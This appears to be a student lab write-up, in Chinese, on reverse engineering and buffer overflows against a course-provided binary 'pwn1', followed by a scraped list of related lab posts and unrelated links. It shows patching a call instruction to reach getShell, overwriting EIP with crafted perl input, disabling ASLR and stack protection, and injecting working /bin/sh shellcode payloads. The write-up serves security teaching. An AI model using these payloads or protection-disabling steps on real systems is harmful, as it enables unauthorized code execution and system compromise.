20145237 实验一 逆向与Bof基础
20145237 实验一 逆向与Bof基础
1.直接修改程序机器指令,改变程序执行流程
此次实验是下载老师传给我们的一个名为pwn1的文件。
首先,用 objdump -d pwn1 对pwn1进行反汇编

可以得到,getshell函数的地址是0804847d,foo函数地址是08048491,main函数调用foo,对应机器指令为“e8 d7ffffff”,那我们想让它调用getShell,只要修改“ d7ffffff ”为"getShell-80484ba"对应的补码就行.main函数调用foo函数的汇编指令是e8 d7ffffff,需要将e8 d7ffffff改成 0804847d对应补码,此时加上偏移量即可,即将d7改成d7-(91-7d)=c3.
接着我们输入vi pwn1打开pwn1,然后输入指令%!xxd将文件转换成16进制显示,利用搜索功能进行搜索将d7改为c3。


再次输入%!xxd -r进行反汇编(在这里不能先进行保存然后再反汇编,一定要先反汇编),然后输入:wq保存并退出。

2.通过构造输入参数,造成BOF攻击,改变程序执行流
先输入指令gdb pwn1,然后输入r
接着输入1111111122222222333333334444444455555555,输入info r来查看各个寄存器的值,可以看到eip的值为5。

接着输入1111111122222222333333334444444412345678(12345678可换为学号)

可以看到eip为34333231
接着输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input并且使用十六进制查看指令xxd查看input文件是否符合预期。

3.注入Shellcode并执行
先输入apt-get install execstack下载··execstack··。
然后输入下面的指令
execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
构造要注入的payload。
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
我们这个buf够放这个shellcode了
结构为:nops+shellcode+retaddr。
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
接下来就根据实验指导输入命令
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
\x4\x3\x2\x1为溢出到eip的部分。
我输入(cat input_shellcode;cat) | ./pwn1,运行pwn1,然后打开顶一个终端,输入ps -ef | grep pwn1找到pwn1的进程号为4436,如图:
接着进行gdb调试,输入attach 4436(进程号)

按照步骤设置断点,输入disassemble foo,查看foo的栈地址,输入break *080484a5,接着输入c继续运行。
输入info r,查看栈的地址,然后输入x/32x 0xffffd2f0(esp)

根据上图,选择把地址改为0xffffd310,输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd3\xff\xff\x00"' > input_shellcode重新构造input,输入(cat input_shellcode; cat) | ./pwn1,运行pwn1,发现失败。
3.2 retaddr+nop+shellcode(成功)
由实验2知,33-36位为eip,即想要覆盖的区域,37位后为shellcode,所以输入perl -e 'print "A" x 32;print "\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode,用32个A去填充前32位,33-36位为3.1试验中的0x90909090的地址加上/x24,即0xffffd30c+0x24=0xffffd330。
得到:

20145237 实验一 逆向与Bof基础的更多相关文章
- 网络对抗实验一 逆向及Bof基础实践
		
网络对抗实验一 逆向及Bof基础实践 一.实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ...
 - 20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础
		
20155201 李卓雯 <网络对抗技术>实验一 逆向及Bof基础 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,f ...
 - 20155210 实验一 逆向与Bof基础
		
20155210 实验一 逆向与Bof基础 实验内容 1.直接修改程序机器指令,改变程序执行流程 下载目标文件pwn1,反汇编 利用objdump -d pwn1对pwn1进行反汇编 得到: 8048 ...
 - 20155216 实验一 逆向与Bof基础
		
实验一 逆向与Bof基础 一.直接修改程序机器指令,改变程序执行流程 使用 objdump -d pwn1 对pwn1文件进行反汇编. 可知main函数跳转至foo函数,先要使main函数跳转至get ...
 - 20155222卢梓杰 实验一 逆向及Bof基础
		
实验一 逆向及Bof基础 1.实验对象为32位可执行文件pwn1,这个程序主要有main.foo.getshell这三个函数,其中foo函数功能为输出输入的字符串,getshell函数功能为打开一个s ...
 - # 20155207王雪纯 实验一 逆向与Bof基础
		
20155207王雪纯 实验一 逆向与Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
 - 20155235 《网络攻防》 实验一 逆向及Bof基础实践说明
		
20155235 <网络攻防> 实验一 逆向及Bof基础实践说明 实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
 - 20145314郑凯杰《网络对抗技术》实验1 逆向及Bof基础实践
		
20145314郑凯杰<网络对抗技术>实验1 逆向及Bof基础实践 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数 ...
 - 20145338 《网络对抗》逆向及Bof基础实验
		
逆向及Bof基础实验 实践目标 ·本次实践的对象是一个名为pwn1的linux可执行文件. ·该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ·该程序同时包含 ...
 
随机推荐
- springboot集成Actuator
			
Actuator监控端点,主要用来监控与管理. 原生端点主要分为三大类:应用配置类.度量指标类.操作控制类. 应用配置类:获取应用程序中加载的配置.环境变量.自动化配置报告等与SpringBoot应用 ...
 - spring mvc 之@requestmapping
			
引言: 前段时间项目中用到了REST风格来开发程序,但是当用POST.PUT模式提交数据时,发现服务器端接受不到提交的数据(服务器端参数绑定没有加任何注解),查看了提交方式为application/j ...
 - 【BZOJ1189】紧急疏散(二分答案,最大流)
			
[BZOJ1189]紧急疏散(二分答案,最大流) 题面 Description 发生了火警,所有人员需要紧急疏散!假设每个房间是一个N M的矩形区域.每个格子如果是'.',那么表示这是一块空地:如果是 ...
 - 8Manage:物流CRM,深度挖掘快递企业下一站蓝海!
			
[导读]网购的普及加快了快递物流服务在中国的发展,而物流行业也开始展露出自身巨大的发展潜力和进步空间.其中,作为物流行业根本核心的物流客户关系管理开始引起了管理者的注意,如何升级用户物流服务体验,把握 ...
 - weblogic的使用
			
1.怎么修改weblogic的端口 创建好域之后,去域的下面找到config.xml文件,在里面加上<listen-port>80</listen-port>即可,访问时不用加 ...
 - 大三小学期 Android开发的一些经验
			
1.同一个TextView几种颜色的设置: build=(TextView)findViewById(R.id.building); SpannableStringBuilder style = ne ...
 - 如何利用wireshark破解网站密码
			
在有进行破解意愿的想法诞生之前,博主得先来给各位泼一盆凉水,本文介绍的方法破解http的轻而易举,而对于https的就算了.因为Wireshark 没有session key ,不能解密SSL数据流. ...
 - ubuntu中eclipse 不支持gbk编码问题解决办法
			
今天在ubuntu 下, 把Windows下工程导入Linux下Eclipse中,由于工程代码,是GBK编码,而Ubuntu默认不支持GBK编码,所以,要让Ubuntu支持GBK. 方法如下: 1.修 ...
 - Ubuntu14.04安装pycharm用于Python开发环境部署,并且支持pycharm使用中文输入
			
一.目标 实现在Linux下用pycharm调试工具/Python开发 Linux使用vi/vim工具写Python,缺点:调试不方便,无代码提示.跳转等诸多功能. Windows使用idle/pyc ...
 - WordPress怎么给分类目录排序
			
WordPress默认的分类目录是按照字母的顺序排序的, 我们可以安装一款插件Category Order就可以自定义分类目录的顺序了,这款插件很小,安装后即可在后台的左侧菜单中看见Category ...